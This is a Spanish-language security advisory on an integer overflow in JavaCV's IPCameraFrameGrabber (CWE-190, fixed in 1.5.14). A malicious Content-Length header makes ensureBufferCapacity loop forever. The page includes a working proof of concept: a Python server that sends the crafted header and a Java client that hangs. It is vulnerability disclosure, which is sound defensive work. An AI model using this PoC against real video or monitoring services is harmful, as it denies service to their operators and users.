JavaCV: Desbordamiento de enteros en IPCameraFrameGrabber provoca DoS por bucle infinito
Resumen
IPCameraFrameGrabber procesa el valor Content-Length de la transmisión HTTP MJPEG multiparte devuelta por la cámara IP configurada sin realizar ninguna validación de límites. Un extremo de cámara malicioso o comprometido, o cualquier atacante de red capaz de alterar la respuesta HTTP en texto claro (estas transmisiones se acceden habitualmente mediante http://, tal y como se documenta en la propia clase), puede proporcionar un valor Content-Length en el rango 1073741825-2147483647. Esto lleva a la rutina interna de expansión de búfer ensureBufferCapacity(int) a un desbordamiento de enteros con signo de 32 bits, convirtiendo el bucle de ampliación en un bucle infinito real: la variable de bucle oscila a 0 y nunca vuelve a cumplir la condición de salida. El hilo que invocó grab()/grabBufferedImage() consume el 100% de CPU indefinidamente y nunca regresa, bloqueando de forma permanente el hilo de captura de fotogramas de la aplicación sin que exista excepción, tiempo de espera o vía de interrupción para el llamador.
Detalles
Archivo: src/main/java/org/bytedeco/javacv/IPCameraFrameGrabber.java
private byte[] readImage() throws IOException {
...
int c0 = subheader.indexOf("content-length: ");
final int c1 = subheader.indexOf('\r', c0);
if (c0 < 0) {
throw new EOFException("The camera stream ended unexpectedly");
}
c0 += 16;
final int contentLength = Integer.parseInt(subheader.substring(c0, c1).trim()); // <-- fully attacker-controlled
// adaptive size - careful - don't want a 2G jpeg
ensureBufferCapacity(contentLength); // <-- no upper bound enforced
input.readFully(pixelBuffer, 0, contentLength);
...
}
private void ensureBufferCapacity(int desiredCapacity) {
int capacity = pixelBuffer.length; // starts at 1024
while (capacity < desiredCapacity) {
capacity *= 2; // <-- unchecked int multiplication
}
if (capacity > pixelBuffer.length) {
pixelBuffer = new byte[capacity];
}
}
contentLength se toma directamente de las cabeceras de respuesta HTTP del flujo de la cámara y se pasa sin cambios a ensureBufferCapacity sin validación de límite superior (el comentario «adaptive size - careful - don't want a 2G jpeg» muestra que el autor conocía el riesgo pero nunca implementó una comprobación).
ensureBufferCapacity duplica repetidamente capacity (un int de 32 bits, que comienza en pixelBuffer.length == 1024) hasta que es >= desiredCapacity. Si desiredCapacity es superior a 2^30 (1073741824) pero <= Integer.MAX_VALUE (2147483647):
capacityalcanza2^30(1073741824) tras 20 duplicaciones; la condición del buclecapacity < desiredCapacitysigue siendo verdadera.capacity *= 2calcula2^31, lo que desborda unintcon signo de 32 bits y se convierte enInteger.MIN_VALUE(-2147483648).- La condición del bucle
capacity < desiredCapacity(un número negativo comparado con undesiredCapacitypositivo grande) sigue siendo verdadera, por lo que el bucle continúa. capacity *= 2calculaInteger.MIN_VALUE * 2, lo que en aritmética de complemento a dos de 32 bits resulta en0.- A partir de este punto,
capacityes permanentemente0(0 * 2 == 0), y0 < desiredCapacitysigue siendo verdadera para siempre; el buclewhilenunca termina.
Este es un bucle puramente ligado a la CPU, sin operaciones de E/S, sin llamadas bloqueantes y sin comprobación de InterruptedException, por lo que no puede ser interrumpido mediante Thread.interrupt() y no respetará ningún readTimeout/connectionTimeout configurado en el capturador (estos solo se aplican a la lectura del socket que ocurre antes de esta ruta de código). El único remedio es finalizar la JVM o el hilo desde el exterior.
PoC
Un servidor MJPEG malicioso o interceptado mínimo que reproduce el bloqueo:
import socket
srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
srv.bind(("0.0.0.0", 8080))
srv.listen(1)
print("listening on :8080")
conn, _ = srv.accept()
conn.recv(4096) # swallow the client's request
# Any value in (1073741824, 2147483647] triggers the overflow.
malicious_length = 2000000000
header = (
"--myboundary\r\n"
"Content-Type: image/jpeg\r\n"
"Content-Length: %d\r\n\r\n" % malicious_length
)
conn.sendall(header.encode())
# The client will now spin forever inside ensureBufferCapacity()
# before ever attempting to read the (fake) body.
Cliente Java (representativo de cualquier aplicación que integre javacv para visualizar una URL de "cámara IP"):
import org.bytedeco.javacv.IPCameraFrameGrabber;
import java.util.concurrent.TimeUnit;
public class Poc {
public static void main(String[] args) throws Exception {
IPCameraFrameGrabber grabber = new IPCameraFrameGrabber(
"http://127.0.0.1:8080/videostream.cgi", 5, 5, TimeUnit.SECONDS);
grabber.start();
grabber.grab(); // never returns; thread pegs a CPU core at 100% forever
}
}
Ejecutar el cliente frente al servidor malicioso anterior provoca que grab() se bloquee permanentemente, consumiendo un núcleo de CPU completo, independientemente del startTimeout/grabTimeout suministrado al constructor.
Impacto
Cualquier aplicación que utilice IPCameraFrameGrabber para consumir un flujo de cámara/MJPEG desde un origen que no sea de total confianza —incluido el caso común de flujos de texto plano http:// (como se documenta en los propios ejemplos de la clase: http://host/videostream.cgi?...) susceptibles de manipulación en red— puede verse forzada a un bloqueo permanente e irrecuperable por consumo de CPU en el hilo de captura mediante una única cabecera de respuesta manipulada. No se requiere autenticación, carga útil JPEG ni transferencia real de datos; la cabecera maliciosa es suficiente por sí sola. La explotación reiterada contra un servidor que crea un hilo de captura por cliente o cámara (un patrón común en servidores de monitorización y videovigilancia) puede agotar los hilos y la CPU disponibles, provocando una denegación de servicio generalizada.
Qué hacer
Actualice a la versión 1.5.14 o posterior, o aplique el commit cd1977800b827beadf3c53c4032e57172845e0b4.
Software afectado
Haz clic en una tecnología para ver todas sus vulnerabilidades.
| Plataforma | Paquete | Versiones vulnerables | Corregida en |
|---|---|---|---|
| Java / Kotlin (Maven) | org.bytedeco:javacv | < 1.5.14 | 1.5.14 |
Referencias
- Vector CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H- Debilidad (CWE)
CWE-190- Plataforma
- Java / Kotlin (Maven)
- Paquete
org.bytedeco:javacv- Publicada
- 16.10.2026
- Actualizado
- 20.10.2026 08:37
Fuentes y licencias · Editado o traducido por DockRay; se mantienen los derechos y las licencias de las fuentes.
OSV / GitHub Advisory Database - GHSA-rxjv-24xq-76wc - CC BY 4.0
Historial de vulnerabilidades: org.bytedeco:javacv
Todas las vulnerabilidades publicadas de este paquete (Java / Kotlin (Maven)), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.
Esta es la única vulnerabilidad conocida de este paquete.
Identifica las vulnerabilidades de tu aplicación
Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.